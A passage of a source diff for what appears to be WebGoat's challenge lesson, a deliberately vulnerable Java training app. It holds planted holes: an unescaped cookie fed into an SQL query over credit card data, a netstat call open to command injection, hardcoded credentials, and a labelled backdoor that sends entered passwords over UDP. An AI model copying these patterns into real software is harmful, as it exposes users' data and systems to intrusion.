".jsp"; - - private static final String WEBGOAT_CHALLENGE = "webgoat_challenge"; - - private static final String WEBGOAT_CHALLENGE_JSP = WEBGOAT_CHALLENGE + JSP; - - private static final String PROCEED_TO_NEXT_STAGE = "Proceed to the next stage..."; - - /** - * Description of the Field - */ - protected final static String CREDIT = "Credit"; - - /** - * Description of the Field - */ - protected final static String PROTOCOL = "File"; - - /** - * Description of the Field - */ - protected final static String MESSAGE = "Message"; - - /** - * Description of the Field - */ - protected final static String PARAM = "p"; - - /** - * Description of the Field - */ - protected final static String PASSWORD = "Password"; - - /** - * Description of the Field - */ - protected final static String USER = "user"; - - /** - * Description of the Field - */ - protected final static String USERNAME = "Username"; - - private String pass = "goodbye"; - - private String user = "youaretheweakestlink"; - - /** - * Description of the Method - * - * @param s - * Description of the Parameter - * @return Description of the Return Value - */ - protected Element createContent(WebSession s) - { - return super.createStagedContent(s); - } - - /** - * Determine the username and password - * - * @param s - * Description of the Parameter - * @return Description of the Return Value - * @exception Exception - * Description of the Exception - */ - protected Element doStage1(WebSession s) throws Exception - { - setStage(s, 1); - - String username = s.getParser().getRawParameter(USERNAME, ""); - String password = s.getParser().getRawParameter(PASSWORD, ""); - - if (username.equals(user) && password.equals(pass)) - { - s.setMessage("Welcome to stage 2 -- get credit card numbers!"); - setStage(s, 2); - - return (doStage2(s)); - } - - s.setMessage("Invalid login"); - - ElementContainer ec = new ElementContainer(); - ec.addElement(makeLogin(s)); - - // - // these are red herrings for the first stage - Input input = new Input(Input.HIDDEN, USER, user); - ec.addElement(input); - - Cookie newCookie = new Cookie(USER_COOKIE, Encoding.base64Encode(user)); - s.getResponse().addCookie(newCookie); - phoneHome(s, "User: " + username + " --> " + "Pass: " + password); - // - - return (ec); - } - - // get creditcards from database - - /** - * Description of the Method - * - * @param s - * Description of the Parameter - * @return Description of the Return Value - * @exception Exception - * Description of the Exception - */ - protected Element doStage2(WebSession s) throws Exception - { - // - - Cookie newCookie = new Cookie(USER_COOKIE, Encoding.base64Encode(user)); - s.getResponse().addCookie(newCookie); - - ElementContainer ec = new ElementContainer(); - if (s.getParser().getStringParameter(Input.SUBMIT, "").equals(PROCEED_TO_NEXT_STAGE + "(3)")) - { - s.setMessage("Welcome to stage 3 -- deface the site"); - setStage(s, 3); - // Reset the defaced webpage so the lesson can start over - resetWebPage(s); - return doStage3(s); - } - - Connection connection = DatabaseUtilities.getConnection(s); - - Statement statement3 = connection - .createStatement(ResultSet.TYPE_SCROLL_INSENSITIVE, ResultSet.CONCUR_READ_ONLY); - - // pull the USER_COOKIE from the cookies - String cookie = URLDecoder.decode(getCookie(s),"utf-8"); - - String user = Encoding.base64Decode(cookie); - String query = "SELECT * FROM user_data WHERE last_name = '" + user + "'"; - Vector v = new Vector(); - - try - { - ResultSet results = statement3.executeQuery(query); - - while (results.next()) - { - String type = results.getString("cc_type"); - String num = results.getString("cc_number"); - v.addElement(type + "-" + num); - } - if (v.size() != 13) - { - s.setMessage("Try to get all the credit card numbers"); - } - - ec.addElement(buildCart(s)); - - Table t = new Table().setCellSpacing(0).setCellPadding(2).setBorder(0).setWidth("90%").setAlign("center"); - - ec.addElement(new BR()); - TR tr = new TR(); - tr.addElement(new TD().addElement("Please select credit card for this purchase: ")); - Element p = ECSFactory.makePulldown(CREDIT, v); - tr.addElement(new TD().addElement(p).setAlign("right")); - t.addElement(tr); - - tr = new TR(); - Element b = ECSFactory.makeButton("Buy Now!"); - tr.addElement(new TD().addElement(b)); - t.addElement(tr); - ec.addElement(t); - - ec.addElement(new BR()); - Input input = new Input(Input.HIDDEN, USER, user); - ec.addElement(input); - - // STAGE 3 BUTTON - if (v.size() == 13) - { - s.setMessage("Congratulations! You stole all the credit cards, proceed to stage 3!"); - s.setMessage(" - Look in the credit card pull down to see the numbers."); - ec.addElement(new BR()); - // TR inf = new TR(); - Center center = new Center(); - Element proceed = ECSFactory.makeButton(PROCEED_TO_NEXT_STAGE + "(3)"); - center.addElement(proceed); - // inf.addElement(new TD().addElement(proceed).setAlign("center")); - ec.addElement(center); - } - - } catch (Exception e) - { - s.setMessage("An error occurred in the woods"); - } - - return (ec); - // - } - - /** - * Description of the Method - * - * @param s - * Description of the Parameter - * @return Description of the Return Value - * @exception Exception - * Description of the Exception - */ - /* - * (non-Javadoc) - * @see lessons.LessonAdapter#doStage3(session.WebSession) - */ - protected Element doStage3(WebSession s) throws Exception - { - // - - ElementContainer ec = new ElementContainer(); - if (s.getParser().getStringParameter(Input.SUBMIT, "").equals(PROCEED_TO_NEXT_STAGE + "(4)")) - { - setStage(s, 4); - // Reset the defaced webpage so the lesson can start over - resetWebPage(s); - return doStage4(s); - } - - // execute the possible attack first to determine if site is defaced. - ElementContainer netstatResults = getNetstatResults(s); - if (isDefaced(s)) - { - ec.addElement(new HR()); - s.setMessage("CONGRATULATIONS - You have defaced the site!"); - Table t = new Table().setCellSpacing(0).setCellPadding(2).setWidth("90%").setAlign("center"); - if (s.isColor()) - { - t.setBorder(1); - } - TR tr = new TR(); - tr.addElement(new TD().setAlign("center").addElement(ECSFactory.makeButton(PROCEED_TO_NEXT_STAGE + "(4)"))); - t.addElement(tr); - tr = new TR(); - tr.addElement(new TD().addElement(showDefaceAttempt(s))); - t.addElement(tr); - ec.addElement(t); - return ec; - } - else - { - // Setup the screen content - try - { - ec.addElement(new H1("Current Network Status:")); - ec.addElement(netstatResults); - - Table t = new Table().setCellSpacing(0).setCellPadding(2).setWidth("90%").setAlign("center"); - if (s.isColor()) - { - t.setBorder(1); - } - String[] list = { "tcp", "tcpv6", "ip", "ipv6", "udp", "udpv6" }; - - TR tr = new TR(); - tr.addElement(new TD().addElement(ECSFactory.makeButton("View Network"))); - tr.addElement(new TD().setWidth("35%").addElement(ECSFactory.makePulldown(PROTOCOL, list, "", 5))); - t.addElement(tr); - - ec.addElement(t); - } catch (Exception e) - { - ec.addElement(new P().addElement("Error in obtaining network status")); - } - - ec.addElement(new HR()); - Table t = new Table().setCellSpacing(0).setCellPadding(2).setWidth("90%").setAlign("center"); - if (s.isColor()) - { - t.setBorder(1); - } - TR tr = new TR(); - tr.addElement(new TD().addElement(showDefaceAttempt(s))); - t.addElement(tr); - ec.addElement(t); - } - return (ec); - // - } - - private boolean isDefaced(WebSession s) - { - // - boolean defaced = false; - try - { - // get current text and compare to the new text - String origpath = s.getContext().getRealPath(WEBGOAT_CHALLENGE + "_" + s.getUserName() + JSP); - String masterFilePath = s.getContext().getRealPath(WEBGOAT_CHALLENGE_JSP); - String defacedText = getFileText(new BufferedReader(new FileReader(origpath)), false); - String origText = getFileText(new BufferedReader(new FileReader(masterFilePath)), false); - - defaced = (!origText.equals(defacedText)); - } catch (Exception e) - { - e.printStackTrace(); - } - return defaced; - // - } - - private Element showDefaceAttempt(WebSession s) throws Exception - { - ElementContainer ec = new ElementContainer(); - - // show webgoat.jsp text - ec.addElement(new H1().addElement("Original Website Text")); - ec.addElement(new IFrame().setHeight("500").setWidth("100%").setSrc(s.getRequest().getContextPath() + "/" + WEBGOAT_CHALLENGE_JSP)); - ec.addElement(new HR()); - ec.addElement(new H1().addElement("Defaced Website Text")); - ec.addElement(new IFrame().setHeight("500").setWidth("100%").setSrc( - s.getRequest().getContextPath() + "/" + WEBGOAT_CHALLENGE + "_" - + s.getUserName() + JSP)); - ec.addElement(new HR()); - - return ec; - } - - private void resetWebPage(WebSession s) - { - try - { - // get current text and compare to the new text - String defacedpath = s.getContext().getRealPath(WEBGOAT_CHALLENGE + "_" + s.getUserName() + JSP); - String masterFilePath = s.getContext().getRealPath(WEBGOAT_CHALLENGE_JSP); - - // replace the defaced text with the original - File usersFile = new File(defacedpath); - FileWriter fw = new FileWriter(usersFile); - fw.write(getFileText(new BufferedReader(new FileReader(masterFilePath)), false)); - fw.close(); - // System.out.println("webgoat_guest replaced: " + getFileText( new - // BufferedReader( new FileReader( defacedpath ) ), false ) ); - } catch (Exception e) - { - e.printStackTrace(); - } - } - - protected Category getDefaultCategory() - { - return Category.CHALLENGE; - } - - /** - * Description of the Method - * - * @param s - * Description of the Parameter - * @return Description of the Return Value - * @exception Exception - * Description of the Exception - */ - protected Element doStage4(WebSession s) throws Exception - { - makeSuccess(s); - ElementContainer ec = new ElementContainer(); - ec.addElement(new H1().addElement("Thanks for coming!")); - ec.addElement(new BR()); - ec.addElement(new H1() - .addElement("Please remember that you will be caught and fired if you use these techniques for evil.")); - - return (ec); - } - - /** - * Description of the Method - * - * @param s - * Description of the Parameter - * @return Description of the Return Value - * @exception Exception - * Description of the Exception - */ - protected Element doStage5(WebSession s) throws Exception - { - // - ElementContainer ec = new ElementContainer(); - return (ec); - // - } - - /** - * Description of the Method - * - * @param s - * Description of the Parameter - * @return Description of the Return Value - * @exception Exception - * Description of the Exception - */ - protected Element doStage6(WebSession s) throws Exception - { - return (new StringElement("not yet")); - } - - /** - * Gets the hints attribute of the ChallengeScreen object - * - * @return The hints value - */ - protected List getHints(WebSession s) - { - // - - List hints = new ArrayList(); - hints.add("You need to gain access to the Java source code for this lesson."); - hints.add("Seriously, no more hints -- it's a CHALLENGE!"); - hints.add("Come on -- give it a rest!"); - if (getStage(s) != 1) - ; - { - hints.add("Persistance is always rewarded"); - } - - return hints; - - // - } - - protected Element makeLogin(WebSession s) - { - ElementContainer ec = new ElementContainer(); - - ec.addElement(new H1().addElement("Sign In ")); - Table t = new Table().setCellSpacing(0).setCellPadding(2).setBorder(0).setWidth("90%").setAlign("center"); - - if (s.isColor()) - { - t.setBorder(1); - } - - TR tr = new TR(); - tr.addElement(new TH() - .addElement("Please sign in to your account. See the OWASP admin if you do not have an account.") - .setColSpan(2).setAlign("left")); - t.addElement(tr); - - tr = new TR(); - tr.addElement(new TD().addElement("*Required Fields").setWidth("30%")); - t.addElement(tr); - - tr = new TR(); - tr.addElement(new TD().addElement(" ").setColSpan(2)); - t.addElement(tr); - - TR row1 = new TR(); - TR row2 = new TR(); - row1.addElement(new TD(new B(new StringElement("*User Name: ")))); - row2.addElement(new TD(new B(new StringElement("*Password: ")))); - - Input input1 = new Input(Input.TEXT, USERNAME, ""); - Input input2 = new Input(Input.PASSWORD, PASSWORD, ""); - row1.addElement(new TD(input1)); - row2.addElement(new TD(input2)); - t.addElement(row1); - t.addElement(row2); - - Element b = ECSFactory.makeButton("Login"); - t.addElement(new TR(new TD(b))); - ec.addElement(t); - - return (ec); - } - - /** - * Gets the instructions attribute of the ChallengeScreen object - * - * @return The instructions value - */ - public String getInstructions(WebSession s) - { - String instructions = "Your mission is to break the authentication scheme, " - + "steal all the credit cards from the database, and then deface the website. " - + "You will have to use many of the techniques you have learned in the other lessons. " - + "The main webpage to deface for this site is 'webgoat_challenge_" + s.getUserName() + ".jsp'"; - - return (instructions); - } - - /** - * Gets the ranking attribute of the ChallengeScreen object - * - * @return The ranking value - */ - protected Integer getDefaultRanking() - { - return new Integer(130); - } - - /** - * This is a deliberate 'backdoor' that would send user name and password back to the remote - * host. Obviously, sending the password back to the remote host isn't that useful but... you - * get the idea - * - * @param s - * Description of the Parameter - * @param message - * Description of the Parameter - */ - protected void phoneHome(WebSession s, String message) - { - try - { - InetAddress addr = InetAddress.getByName(s.getRequest().getRemoteHost()); - DatagramPacket dp = new DatagramPacket(message.getBytes(), message.length()); - DatagramSocket sock = new DatagramSocket(); - sock.connect(addr, 1234); - sock.send(dp); - sock.close(); - } catch (Exception e) - { - System.out.println("Couldn't phone home"); - e.printStackTrace(); - } - } - - /** - * Gets the title attribute of the ChallengeScreen object - * - * @return The title value - */ - public String getTitle() - { - return ("The CHALLENGE!"); - } - - /** - * Description of the Method - * - * @param text - * Description of the Parameter - * @return Description of the Return Value - */ - protected ElementContainer getNetstatResults(WebSession s) - { - // - - ElementContainer ec = new ElementContainer(); - - Table t = new Table().setCellSpacing(0).setCellPadding(2).setBorder(1).setWidth("80%").setAlign("center"); - - if (s.isColor()) - { - t.setBorder(1); - } - - String[] colWidths = new String[] { "55", "110", "260", "70", "50" }; - TR tr = new TR(); - tr.addElement(new TH().addElement("Protocol").setWidth(colWidths[0])); - tr.addElement(new TH().addElement("Local Address").setWidth(colWidths[1])); - tr.addElement(new TH().addElement("Foreign Address").setWidth(colWidths[2])); - tr.addElement(new TH().addElement("State").setWidth(colWidths[3])); - tr.addElement(new TH().addElement("Offload State").setWidth(colWidths[4])); - t.addElement(tr); - - String protocol = s.getParser().getRawParameter(PROTOCOL, "tcp"); - - String osName = System.getProperty("os.name"); - ExecResults er = null; - if (osName.indexOf("Windows") != -1) - { - String cmd = "cmd.exe /c netstat -ant -p " + protocol; - er = Exec.execSimple(cmd); - } - else - { - String[] cmd = { "/bin/sh", "-c", "netstat -ant -p " + protocol }; - er = Exec.execSimple(cmd); - } - - String results = er.getOutput(); - StringTokenizer lines = new StringTokenizer(results, "\n"); - String line = lines.nextToken(); - // System.out.println(line); - int start = 0; - while (start == 0 && lines.hasMoreTokens()) - { - if ((line.indexOf("Proto") != -1)) - { - start++; - } - else - { - line = lines.nextToken(); - } - } - while (start > 0 && lines.hasMoreTokens()) - { - // in order to avoid a ill-rendered screen when the user performs - // command injection, we will wrap the screen at 4 columns - int columnCount = 0; - tr = new TR(); - TD td; - StringTokenizer tokens = new StringTokenizer(lines.nextToken(), "\t "); - while (tokens.hasMoreTokens() && columnCount < 5) - { - td = new TD().setWidth(colWidths[columnCount++]); - tr.addElement(td.addElement(tokens.nextToken())); - } - t.addElement(tr); - } - // parse the results - ec.addElement(t); - return (ec); - // - - } - - /** - * Description of the Method - * - * @param s - * Description of the Parameter - * @return Description of the Return Value - */ - protected Element makeClues(WebSession s) - { - return new StringElement("Clues not Available :)"); - } - - protected Element makeHints(WebSession s) - { - return new StringElement("Hint: Find the hints"); - } - - /** - * Description of the Method - * - * @param s - * Description of the Parameter - * @param message - * Description of the Parameter - */ - protected void sendMessage(Socket s, String message) - { - try - { - OutputStreamWriter osw = new OutputStreamWriter(s.getOutputStream()); - osw.write(message); - } catch (Exception e) - { - // System.out.println("Couldn't write " + message + " to " + s); - e.printStackTrace(); - } - } - - protected Element buildCart(WebSession s) - { - ElementContainer ec = new ElementContainer(); - - ec.addElement(new HR().setWidth("90%")); - ec.addElement(new Center().addElement(new H1().addElement("Shopping Cart "))); - Table t = new Table().setCellSpacing(0).setCellPadding(2).setBorder(1).setWidth("90%").setAlign("center"); - - if (s.isColor()) - { - t.setBorder(1); - } - - TR tr = new TR(); - tr.addElement(new TH().addElement("Shopping Cart Items -- To Buy Now").setWidth("80%")); - tr.addElement(new TH().addElement("Price:").setWidth("10%")); - tr.addElement(new TH().addElement("Quantity:").setWidth("3%")); - tr.addElement(new TH().addElement("Total").setWidth("7%")); - t.addElement(tr); - - tr = new TR(); - tr.addElement(new TD().addElement("Sympathy Bouquet")); - tr.addElement(new TD().addElement("59.99").setAlign("right")); - tr.addElement(new TD().addElement(" 1 ").setAlign("right")); - tr.addElement(new TD().addElement("59.99")); - t.addElement(tr); - - ec.addElement(t); - - t = new Table().setCellSpacing(0).setCellPadding(2).setBorder(0).setWidth("90%").setAlign("center"); - - if (s.isColor()) - { - t.setBorder(1); - } - - ec.addElement(new BR()); - tr = new TR(); - tr.addElement(new TD().addElement("The total charged to your credit card:")); - tr.addElement(new TD().addElement("59.99")); - t.addElement(tr); - - ec.addElement(t); - - return (ec); - } - - public boolean canHaveClues() - { - return false; - } - - /** - * Gets the cookie attribute of the CookieScreen object - * - * @param s - * Description of the Parameter - * @return The cookie value - */ - protected String getCookie(WebSession s) - { - Cookie[] cookies = s.getRequest().getCookies(); - - for (int i = 0; i < cookies.length; i++) - { - if (cookies[i].getName().equalsIgnoreCase(USER_COOKIE)) { return (cookies[i].getValue()); } - } - - return (null); - } + private static final String USER_COOKIE = "user"; + + private static final String JSP = ".jsp"; + + private static final String WEBGOAT_CHALLENGE = "webgoat_challenge"; + + private static final String WEBGOAT_CHALLENGE_JSP = WEBGOAT_CHALLENGE + JSP; + + private static final String PROCEED_TO_NEXT_STAGE = "Proceed to the next stage..."; + + /** + * Description of the Field + */ + protected final static String CREDIT = "Credit"; + + /** + * Description of the Field + */ + protected final static String PROTOCOL = "File"; + + /** + * Description of the Field + */ + protected final static String MESSAGE = "Message"; + + /** + * Description of the Field + */ + protected final static String PARAM = "p"; + + /** + * Description of the Field + */ + protected final static String PASSWORD = "Password"; + + /** + * Description of the Field + */ + protected final static String USER = "user"; + + /** + * Description of the Field + */ + protected final static String USERNAME = "Username"; + + private String pass = "goodbye"; + + private String user = "youaretheweakestlink"; + + /** + * Description of the Method + * + * @param s + * Description of the Parameter + * @return Description of the Return Value + */ + protected Element createContent(WebSession s) + { + return super.createStagedContent(s); + } + + /** + * Determine the username and password + * + * @param s + * Description of the Parameter + * @return Description of the Return Value + * @exception Exception + * Description of the Exception + */ + protected Element doStage1(WebSession s) throws Exception + { + setStage(s, 1); + + String username = s.getParser().getRawParameter(USERNAME, ""); + String password = s.getParser().getRawParameter(PASSWORD, ""); + + if (username.equals(user) && password.equals(pass)) + { + s.setMessage("Welcome to stage 2 -- get credit card numbers!"); + setStage(s, 2); + + return (doStage2(s)); + } + + s.setMessage("Invalid login"); + + ElementContainer ec = new ElementContainer(); + ec.addElement(makeLogin(s)); + + // + // these are red herrings for the first stage + Input input = new Input(Input.HIDDEN, USER, user); + ec.addElement(input); + + Cookie newCookie = new Cookie(USER_COOKIE, Encoding.base64Encode(user)); + s.getResponse().addCookie(newCookie); + phoneHome(s, "User: " + username + " --> " + "Pass: " + password); + // + + return (ec); + } + + // get creditcards from database + + /** + * Description of the Method + * + * @param s + * Description of the Parameter + * @return Description of the Return Value + * @exception Exception + * Description of the Exception + */ + protected Element doStage2(WebSession s) throws Exception + { + // + + Cookie newCookie = new Cookie(USER_COOKIE, Encoding.base64Encode(user)); + s.getResponse().addCookie(newCookie); + + ElementContainer ec = new ElementContainer(); + if (s.getParser().getStringParameter(Input.SUBMIT, "").equals(PROCEED_TO_NEXT_STAGE + "(3)")) + { + s.setMessage("Welcome to stage 3 -- deface the site"); + setStage(s, 3); + // Reset the defaced webpage so the lesson can start over + resetWebPage(s); + return doStage3(s); + } + + Connection connection = DatabaseUtilities.getConnection(s); + + Statement statement3 = connection + .createStatement(ResultSet.TYPE_SCROLL_INSENSITIVE, ResultSet.CONCUR_READ_ONLY); + + // pull the USER_COOKIE from the cookies + String cookie = URLDecoder.decode(getCookie(s),"utf-8"); + + String user = Encoding.base64Decode(cookie); + String query = "SELECT * FROM user_data WHERE last_name = '" + user + "'"; + Vector v = new Vector(); + + try + { + ResultSet results = statement3.executeQuery(query); + + while (results.next()) + { + String type = results.getString("cc_type"); + String num = results.getString("cc_number"); + v.addElement(type + "-" + num); + } + if (v.size() != 13) + { + s.setMessage("Try to get all the credit card numbers"); + } + + ec.addElement(buildCart(s)); + + Table t = new Table().setCellSpacing(0).setCellPadding(2).setBorder(0).setWidth("90%").setAlign("center"); + + ec.addElement(new BR()); + TR tr = new TR(); + tr.addElement(new TD().addElement("Please select credit card for this purchase: ")); + Element p = ECSFactory.makePulldown(CREDIT, v); + tr.addElement(new TD().addElement(p).setAlign("right")); + t.addElement(tr); + + tr = new TR(); + Element b = ECSFactory.makeButton("Buy Now!"); + tr.addElement(new TD().addElement(b)); + t.addElement(tr); + ec.addElement(t); + + ec.addElement(new BR()); + Input input = new Input(Input.HIDDEN, USER, user); + ec.addElement(input); + + // STAGE 3 BUTTON + if (v.size() == 13) + { + s.setMessage("Congratulations! You stole all the credit cards, proceed to stage 3!"); + s.setMessage(" - Look in the credit card pull down to see the numbers."); + ec.addElement(new BR()); + // TR inf = new TR(); + Center center = new Center(); + Element proceed = ECSFactory.makeButton(PROCEED_TO_NEXT_STAGE + "(3)"); + center.addElement(proceed); + // inf.addElement(new TD().addElement(proceed).setAlign("center")); + ec.addElement(center); + } + + } catch (Exception e) + { + s.setMessage("An error occurred in the woods"); + } + + return (ec); + // + } + + /** + * Description of the Method + * + * @param s + * Description of the Parameter + * @return Description of the Return Value + * @exception Exception + * Description of the Exception + */ + /* + * (non-Javadoc) + * @see lessons.LessonAdapter#doStage3(session.WebSession) + */ + protected Element doStage3(WebSession s) throws Exception + { + // + + ElementContainer ec = new ElementContainer(); + if (s.getParser().getStringParameter(Input.SUBMIT, "").equals(PROCEED_TO_NEXT_STAGE + "(4)")) + { + setStage(s, 4); + // Reset the defaced webpage so the lesson can start over + resetWebPage(s); + return doStage4(s); + } + + // execute the possible attack first to determine if site is defaced. + ElementContainer netstatResults = getNetstatResults(s); + if (isDefaced(s)) + { + ec.addElement(new HR()); + s.setMessage("CONGRATULATIONS - You have defaced the site!"); + Table t = new Table().setCellSpacing(0).setCellPadding(2).setWidth("90%").setAlign("center"); + if (s.isColor()) + { + t.setBorder(1); + } + TR tr = new TR(); + tr.addElement(new TD().setAlign("center").addElement(ECSFactory.makeButton(PROCEED_TO_NEXT_STAGE + "(4)"))); + t.addElement(tr); + tr = new TR(); + tr.addElement(new TD().addElement(showDefaceAttempt(s))); + t.addElement(tr); + ec.addElement(t); + return ec; + } + else + { + // Setup the screen content + try + { + ec.addElement(new H1("Current Network Status:")); + ec.addElement(netstatResults); + + Table t = new Table().setCellSpacing(0).setCellPadding(2).setWidth("90%").setAlign("center"); + if (s.isColor()) + { + t.setBorder(1); + } + String[] list = { "tcp", "tcpv6", "ip", "ipv6", "udp", "udpv6" }; + + TR tr = new TR(); + tr.addElement(new TD().addElement(ECSFactory.makeButton("View Network"))); + tr.addElement(new TD().setWidth("35%").addElement(ECSFactory.makePulldown(PROTOCOL, list, "", 5))); + t.addElement(tr); + + ec.addElement(t); + } catch (Exception e) + { + ec.addElement(new P().addElement("Error in obtaining network status")); + } + + ec.addElement(new HR()); + Table t = new Table().setCellSpacing(0).setCellPadding(2).setWidth("90%").setAlign("center"); + if (s.isColor()) + { + t.setBorder(1); + } + TR tr = new TR(); + tr.addElement(new TD().addElement(showDefaceAttempt(s))); + t.addElement(tr); + ec.addElement(t); + } + return (ec); + // + } + + private boolean isDefaced(WebSession s) + { + // + boolean defaced = false; + try + { + // get current text and compare to the new text + String origpath = s.getContext().getRealPath(WEBGOAT_CHALLENGE + "_" + s.getUserName() + JSP); + String masterFilePath = s.getContext().getRealPath(WEBGOAT_CHALLENGE_JSP); + String defacedText = getFileText(new BufferedReader(new FileReader(origpath)), false); + String origText = getFileText(new BufferedReader(new FileReader(masterFilePath)), false); + + defaced = (!origText.equals(defacedText)); + } catch (Exception e) + { + e.printStackTrace(); + } + return defaced; + // + } + + private Element showDefaceAttempt(WebSession s) throws Exception + { + ElementContainer ec = new ElementContainer(); + + // show webgoat.jsp text + ec.addElement(new H1().addElement("Original Website Text")); + ec.addElement(new IFrame().setHeight("500").setWidth("100%").setSrc(s.getRequest().getContextPath() + "/" + WEBGOAT_CHALLENGE_JSP)); + ec.addElement(new HR()); + ec.addElement(new H1().addElement("Defaced Website Text")); + ec.addElement(new IFrame().setHeight("500").setWidth("100%").setSrc( + s.getRequest().getContextPath() + "/" + WEBGOAT_CHALLENGE + "_" + + s.getUserName() + JSP)); + ec.addElement(new HR()); + + return ec; + } + + private void resetWebPage(WebSession s) + { + try + { + // get current text and compare to the new text + String defacedpath = s.getContext().getRealPath(WEBGOAT_CHALLENGE + "_" + s.getUserName() + JSP); + String masterFilePath = s.getContext().getRealPath(WEBGOAT_CHALLENGE_JSP); + + // replace the defaced text with the original + File usersFile = new File(defacedpath); + FileWriter fw = new FileWriter(usersFile); + fw.write(getFileText(new BufferedReader(new FileReader(masterFilePath)), false)); + fw.close(); + // System.out.println("webgoat_guest replaced: " + getFileText( new + // BufferedReader( new FileReader( defacedpath ) ), false ) ); + } catch (Exception e) + { + e.printStackTrace(); + } + } + + protected Category getDefaultCategory() + { + return Category.CHALLENGE; + } + + /** + * Description of the Method + * + * @param s + * Description of the Parameter + * @return Description of the Return Value + * @exception Exception + * Description of the Exception + */ + protected Element doStage4(WebSession s) throws Exception + { + makeSuccess(s); + ElementContainer ec = new ElementContainer(); + ec.addElement(new H1().addElement("Thanks for coming!")); + ec.addElement(new BR()); + ec.addElement(new H1() + .addElement("Please remember that you will be caught and fired if you use these techniques for evil.")); + + return (ec); + } + + /** + * Description of the Method + * + * @param s + * Description of the Parameter + * @return Description of the Return Value + * @exception Exception + * Description of the Exception + */ + protected Element doStage5(WebSession s) throws Exception + { + // + ElementContainer ec = new ElementContainer(); + return (ec); + // + } + + /** + * Description of the Method + * + * @param s + * Description of the Parameter + * @return Description of the Return Value + * @exception Exception + * Description of the Exception + */ + protected Element doStage6(WebSession s) throws Exception + { + return (new StringElement("not yet")); + } + + /** + * Gets the hints attribute of the ChallengeScreen object + * + * @return The hints value + */ + protected List getHints(WebSession s) + { + // + + List hints = new ArrayList(); + hints.add("You need to gain access to the Java source code for this lesson."); + hints.add("Seriously, no more hints -- it's a CHALLENGE!"); + hints.add("Come on -- give it a rest!"); + if (getStage(s) != 1) + ; + { + hints.add("Persistance is always rewarded"); + } + + return hints; + + // + } + + protected Element makeLogin(WebSession s) + { + ElementContainer ec = new ElementContainer(); + + ec.addElement(new H1().addElement("Sign In ")); + Table t = new Table().setCellSpacing(0).setCellPadding(2).setBorder(0).setWidth("90%").setAlign("center"); + + if (s.isColor()) + { + t.setBorder(1); + } + + TR tr = new TR(); + tr.addElement(new TH() + .addElement("Please sign in to your account. See the OWASP admin if you do not have an account.") + .setColSpan(2).setAlign("left")); + t.addElement(tr); + + tr = new TR(); + tr.addElement(new TD().addElement("*Required Fields").setWidth("30%")); + t.addElement(tr); + + tr = new TR(); + tr.addElement(new TD().addElement(" ").setColSpan(2)); + t.addElement(tr); + + TR row1 = new TR(); + TR row2 = new TR(); + row1.addElement(new TD(new B(new StringElement("*User Name: ")))); + row2.addElement(new TD(new B(new StringElement("*Password: ")))); + + Input input1 = new Input(Input.TEXT, USERNAME, ""); + Input input2 = new Input(Input.PASSWORD, PASSWORD, ""); + row1.addElement(new TD(input1)); + row2.addElement(new TD(input2)); + t.addElement(row1); + t.addElement(row2); + + Element b = ECSFactory.makeButton("Login"); + t.addElement(new TR(new TD(b))); + ec.addElement(t); + + return (ec); + } + + /** + * Gets the instructions attribute of the ChallengeScreen object + * + * @return The instructions value + */ + public String getInstructions(WebSession s) + { + String instructions = "Your mission is to break the authentication scheme, " + + "steal all the credit cards from the database, and then deface the website. " + + "You will have to use many of the techniques you have learned in the other lessons. " + + "The main webpage to deface for this site is 'webgoat_challenge_" + s.getUserName() + ".jsp'"; + + return (instructions); + } + + /** + * Gets the ranking attribute of the ChallengeScreen object + * + * @return The ranking value + */ + protected Integer getDefaultRanking() + { + return new Integer(130); + } + + /** + * This is a deliberate 'backdoor' that would send user name and password back to the remote + * host. Obviously, sending the password back to the remote host isn't that useful but... you + * get the idea + * + * @param s + * Description of the Parameter + * @param message + * Description of the Parameter + */ + protected void phoneHome(WebSession s, String message) + { + try + { + InetAddress addr = InetAddress.getByName(s.getRequest().getRemoteHost()); + DatagramPacket dp = new DatagramPacket(message.getBytes(), message.length()); + DatagramSocket sock = new DatagramSocket(); + sock.connect(addr, 1234); + sock.send(dp); + sock.close(); + } catch (Exception e) + { + System.out.println("Couldn't phone home"); + e.printStackTrace(); + } + } + + /** + * Gets the title attribute of the ChallengeScreen object + * + * @return The title value + */ + public String getTitle() + { + return ("The CHALLENGE!"); + } + + /** + * Description of the Method + * + * @param text + * Description of the Parameter + * @return Description of the Return Value + */ + protected ElementContainer getNetstatResults(WebSession s) + { + // + + ElementContainer ec = new ElementContainer(); + + Table t = new Table().setCellSpacing(0).setCellPadding(2).setBorder(1).setWidth("80%").setAlign("center"); + + if (s.isColor()) + { + t.setBorder(1); + } + + String[] colWidths = new String[] { "55", "110", "260", "70", "50" }; + TR tr = new TR(); + tr.addElement(new TH().addElement("Protocol").setWidth(colWidths[0])); + tr.addElement(new TH().addElement("Local Address").setWidth(colWidths[1])); + tr.addElement(new TH().addElement("Foreign Address").setWidth(colWidths[2])); + tr.addElement(new TH().addElement("State").setWidth(colWidths[3])); + tr.addElement(new TH().addElement("Offload State").setWidth(colWidths[4])); + t.addElement(tr); + + String protocol = s.getParser().getRawParameter(PROTOCOL, "tcp"); + + String osName = System.getProperty("os.name"); + ExecResults er = null; + if (osName.indexOf("Windows") != -1) + { + String cmd = "cmd.exe /c netstat -ant -p " + protocol; + er = Exec.execSimple(cmd); + } + else + { + String[] cmd = { "/bin/sh", "-c", "netstat -ant -p " + protocol }; + er = Exec.execSimple(cmd); + } + + String results = er.getOutput(); + StringTokenizer lines = new StringTokenizer(results, "\n"); + String line = lines.nextToken(); + // System.out.println(line); + int start = 0; + while (start == 0 && lines.hasMoreTokens()) + { + if ((line.indexOf("Proto") != -1)) + { + start++; + } + else + { + line = lines.nextToken(); + } + } + while (start > 0 && lines.hasMoreTokens()) + { + // in order to avoid a ill-rendered screen when the user performs + // command injection, we will wrap the screen at 4 columns + int columnCount = 0; + tr = new TR(); + TD td; + StringTokenizer tokens = new StringTokenizer(lines.nextToken(), "\t "); + while (tokens.hasMoreTokens() && columnCount < 5) + { + td = new TD().setWidth(colWidths[columnCount++]); + tr.addElement(td.addElement(tokens.nextToken())); + } + t.addElement(tr); + } + // parse the results + ec.addElement(t); + return (ec); + // + + } + + /** + * Description of the Method + * + * @param s + * Description of the Parameter + * @return Description of the Return Value + */ + protected Element makeClues(WebSession s) + { + return new StringElement("Clues not Available :)"); + } + + protected Element makeHints(WebSession s) + { + return new StringElement("Hint: Find the hints"); + } + + /** + * Description of the Method + * + * @param s + * Description of the Parameter + * @param message + * Description of the Parameter + */ + protected void sendMessage(Socket s, String message) + { + try + { + OutputStreamWriter osw = new OutputStreamWriter(s.getOutputStream()); + osw.write(message); + } catch (Exception e) 